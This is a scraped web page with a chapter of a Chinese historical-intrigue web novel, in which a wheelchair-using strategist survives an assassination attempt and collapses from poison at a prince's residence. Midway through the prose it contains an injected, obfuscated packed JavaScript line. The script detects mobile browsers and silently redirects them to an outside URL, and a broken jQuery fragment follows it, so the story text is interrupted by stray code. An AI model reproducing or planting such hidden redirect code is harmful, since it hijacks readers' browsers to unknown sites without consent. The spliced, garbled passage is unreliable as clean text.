默认冷灰
24号文字
方正启体

6. 北刃试心,恨局中疾

作者:鹦鹉啄木本书字数:K更新时间:
    “公子快走!”何娇焦急喝道。


    来人出手果决,瞬息已出数招,招招致命。


    胡步迟一眼看出自己不是他们对手,且观其路数,不似中原,更像是北国人。


    北国?


    那则预言闹的天下皆知,而今玲珑心归顺大顺,北国要杀他,也不奇怪。


    诗纱盖下,他拉着公孙哲不停退后,看似平平无奇的酒楼里机关启动,绳镖从原用于固定诗纱的铆钉内/射出,挡下那致命杀招。


    原本热闹的翰墨楼霎时宾客尽散。


    来的真快!


    他大胆毫不掩饰的让翰墨楼暴露在京城,为的是向勋贵们证明,他的势力早已渗透进了京城,绝非草莽之辈。料想定会有人沉不住气,却不想背后之人如此着急。


    不消片刻已是退至二楼围栏退无可退,两名刺客配合默契,左右楼梯被封死。公孙哲却是个莽的,反拉过胡步迟的轮椅护在身前,胡步迟不及运转内力,他居然直接撞断了围栏!!!


    失重感席卷全身,二人一同坠落,天旋地转。胡步迟只来得及拽着公孙哲的衣领给他来了半个过肩摔,抗在肩头。机扩响动,轮子侧弹出两根竹板,率先抵住地面。竹板弯曲折断,卸了势,这才让轮椅稳稳地落在后院厨房。


    “我真服了。”


    何娇气喘着从传菜堂跑出,她不会武,只能在背后操纵机关御敌:“密道已开,公子快跟我走。”


    两名刺客已摆脱绳镖缠斗,跳下楼来。


    胡步迟把公孙哲塞到何娇手里,不容置喙:“沿着密道往前,出了城不要回来,等老周接应你们。走!”


    何娇只是看了胡步迟一眼,没再迟疑,只留下一句:“公子小心。”扯过还一脸懵逼的公孙哲钻进了后厨灶台。


    胡步迟想起当年何娇在山沟子里见到他说的第一句话:“死的还是活了的,要不要收尸啊?”


    他轻嗤一声,抄过一个铁锅封死了灶台,险险避开朝他刺来的短剑,又是几个旋身,轮椅在布满油污的地面留下滑行痕迹。


    他好不容易拉开距离,试图套话:“来者是客,兄台二人身手不凡,何不报上名来,也让胡某死得其所。”


    可那二人一言不发,左侧短剑横劈,胡步迟抬手抵挡,袖箭借势祭出,打偏右后袭来的飞镖。


    这两人明显和之前试探的刺客不同,单纯是取他命来的!


    胡步迟再次躲开刺来利刃,腰间松花酒壶破碎,酒液飞溅。手边摸到一筷子桶,当即轮出。


    木筷似针,裹挟着内力漫天飞去,如万箭齐发。


    却也只拦住了两人一时。


    胡步迟内心叫苦不迭,筷子桶也做暗器丢了出去。这两人像是有使不尽的力气,招招狠厉,力度丝毫不减。可胡步迟的袖箭却射完了,内力所剩无几。他不能在此时暴露更多底牌。


    火折子点燃,借着地上松花酒燃起一道暂时的火墙。


    “胡某秉性纯良,不知,是何处,招惹了两位兄台。”轮椅退出后厨,倒回一楼大厅,桌椅倒了一地,都被胡步迟扔出去挡剑。


    画本子里写的真是假的不能再假了,这么多场刺杀连一次废话的刺客也没给胡步迟遇上。


    后院火势愈烧愈勇。


    两人穷追不舍,一人堵着大门,一人封死后路,对胡步迟前后夹击。又是一击袭来,两柄短剑左右擦着他脖颈而过,胡步迟再无法全身而退。


    他卖了个破绽,一掌打在前面的人胸口,再一低头,轮椅斜退撤出,轮子撞上散架的桌腿,连人飞起一个空翻,堪堪避过刺他心口的利刃,只是刺入肩膀。他疼得咬牙切齿,朝窗外喊:“勤王殿下若想杀我,何必假手于人!你再不出手,胡某今日死,明日就能在地府见到你的真身!”


    话音刚落,果有一人翻窗跃来,横刀挑飞短剑,短剑带着生肉剜出,又是疼得胡步迟龇牙咧嘴。


    来人却不是他想象中的暗卫,而是……


    岳无尘横刀在握,挡在胡步迟身前。


    门外官兵姗姗来迟,万年县司法参军赶到,与岳无尘一同包围了二人。


    哪知这两名刺客见此情形竟还要杀来,司法参军携重官兵上前围攻。


    岳无尘依旧挡在胡步迟身前的姿势,也不上去帮忙:“胡先生真是好大本事,让北国余孽不惜暴露身份也要杀之。”


    胡步迟偏头不搭理他,掏出伤药给自己止血。


    有那么多方式拔剑,他偏选了让胡步迟最痛的方式,分明就是故意的。索性这里也无需再管。


    京城的司法参军有些本身,靠着群殴优势,真一炷香就将二人擒获。岳无尘收刀转身,推上胡步迟。


    就是可惜了。


    这是两位死士。


    果然,他们刚出大门,身后就传来官兵惊呼。


    那被捆傅双手的黑衣刺客倒在地上,嘴角漏下黑血,已是服毒自尽了。


    胡步迟一把火烧干净了酒楼后院,自然也烧没了账册,却没让一点火星子溅到两侧商铺。至于官府怎么查,用什么态度查,胡步迟一点也不担心。


    出门一趟,杀了个恶心的假乞丐,清了个不安全的情报点,除了肩上这个没算到的伤之外,他已经很满意了。


    “北国人性情野蛮,先生还是收好自己这颗玲珑心,小心哪日被人剜出来腌上辣椒当下酒菜生啃了。到时道什么天下事,不过他人腹中一炮屎。”


    楦麟大街的百姓很是心大,酒楼这么大动静,外面商铺各自经营,只是行人少了。


    胡步迟用裘衣遮住血色,这才开口:“无尘老弟也要小心,王府典军若是连小人这一颗心都护不住,怎么护得下王爷安危。”


    岳无尘冷哼:“好啊,那先生先走一步,也算给我垫个脚了。”


    “黄泉路上还有典军相护,胡某荣幸之至。”


    天上迟飞的两雁一触即分,今日一番折腾已是近黄昏。


    二人沿路回府,西市到东市,次次对视都企图用眼神杀了对方,直至路过一处拥堵的人群阻挠了道路。


    一佝偻老者捧着碗冒着热气的粥路过他们,口中喃喃:“公主才回京几日啊,这可比衙门都实在……”


    前方人群拥堵处赫然立着面旗,上书“镇国公主施粥济药”。岳无尘一脸不喜:“沽名钓誉。”


    胡步迟蹙眉,他可不这么认为。储君未立,勤王风头虽盛,但昭王于民间的仁德声誉更响,镇国公主在这个节骨眼上册封,又欲在民间造势,可谓有钱有权有手段。


    若勤王只把她当做宗室皇妹轻视,怕是怎么死的都不知道。


    但他没当场点破,反而是粥棚旁正亲切为百姓诊脉的玄袍女医吸引了他的注意,她身旁还坐着一乖巧少年。可观其周身气度高雅,又不像女医……


    “那是哪位世家小姐?岳典军常年行走京中,可认得?”他开口询问,那女医似有所感,朝他望来。


    “不认识,先生怎确定是世家女,难不成先生好这一口?”岳无尘又发出夸张的嘶声“先生今年二十有五,竟未曾娶妻?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255513|197981||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    肩头伤口抽痛,淤血似乎加速了范阳狼毒发作,胡步迟强压下叫嚣着痛苦的神经,呛声道:“典军大人不也孤家寡人。”


    岳无尘狠狠瞪了胡步迟一眼,不再废话,推着轮椅加快了脚步。


    车轮轧过平整的青石板路,发出单调的辘辘声。胡步迟脸色越来越白,额角渗出细密的冷汗,摩挲扶手的手指骨节发青。


    指尖传来的触感清晰。


    尘舟。


    裴尘舟。


    穿街过巷,沉默在两人之间蔓延。


    待看到勤王府那对威武的石狮时,胡步迟只觉浑身内息都耗尽了。岳无尘推着他径直入内,穿过重重门廊,直奔暖阁。


    暖阁内,勤王温执坦已得了消息,于桌上摆了晚宴,听见声响,缓缓转身。


    他的目光先落在胡步迟被血色浸透的肩头,有些怔愣,随即浮起一层程式化的关切。


    “先生受苦了。”他几步向前,很自然的坐在胡步迟身侧,“光天化日,竟让先生遭此劫难,是本王之过。”


    胡步迟想拱手,稍一动弹,眼前又是一黑,只得竭力稳住声音:“草民无大碍,劳王爷挂心。”


    “先生可万万要多加小心。”说到这勤王像这才想起他的典军,锐利尽显:“岳无尘,本王让你护卫先生,你便是这般护卫的?”


    岳无尘单膝跪地,声音硬邦邦的:“属下护卫不力,甘愿领罚。” 未做任何辩解。


    “罚俸三月,杖责二十,暂记下。”温执坦字字沉如铁石,“即刻起,卸去你其他职司,贴身护卫胡先生,寸步不离。他的安危若再生差池,你当知道后果。”


    “属下领命。”


    勤王似乎满意了这处置,目光重新落回胡步迟身上,那层矜持的关切面具又戴了回去:“先生伤重,可需即刻召太医?”


    要召你早就召了啊,“谢王爷,只是皮外伤,草民自行处理即可。”他必须尽快服下苦芨草,不然这毒再疼下去,就一点体面也无了。


    “先生总是这般客气。”勤王语气变得随意,“正好,有桩事,需说与先生知晓。”


    胡步迟心猛地一紧。


    “明日宫中设宴,为皇妹挽星册封镇国公主贺。”勤王抬眼,目光如深潭,“父皇听闻先生玲珑心之名,亲点先生一同赴宴,一睹风采。”


    明日、御前、亲点。


    这几个字如同了淬毒的冰锥,狠狠凿进胡步迟已然紧绷到极致的神经。


    喉头涌上一股浓重的腥甜,他强行咽下,舌尖却已尝到铁锈般的味道。


    “草民此番形容,恐污圣目,有失仪之罪……”


    “无妨。”勤王打断他,“新衣早已备好,明日酉时,本王自会派人来接先生。些许外伤,岂能掩先生珠玉之质?”


    苦苦维系的那口气终于彻底溃散。经脉逆行,阴寒决堤。他眼前猛地一黑,所有的一切都开始扭曲,整个世界都在向前倒去。


    轮椅撞翻了花瓶,碎裂声清脆而凄厉。


    黑暗瞬间淹没了一切。


    “……速传太医!”


    杂乱的脚步声,器物碰撞的叮当声,压抑的惊呼。


    “真晕?不是装的?”


    “王爷……左寸尤弱,几不可察……寒毒深植骨髓,绝非一日之寒。今日外伤失血,引动沉疴方致昏迷。”


    “徐太医辛苦……务必用最好的药。明日宫宴……他怕是去不成了。”


    脚步声渐次远去,世界重归寂静,只剩下炭火偶尔爆开的噼啪。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)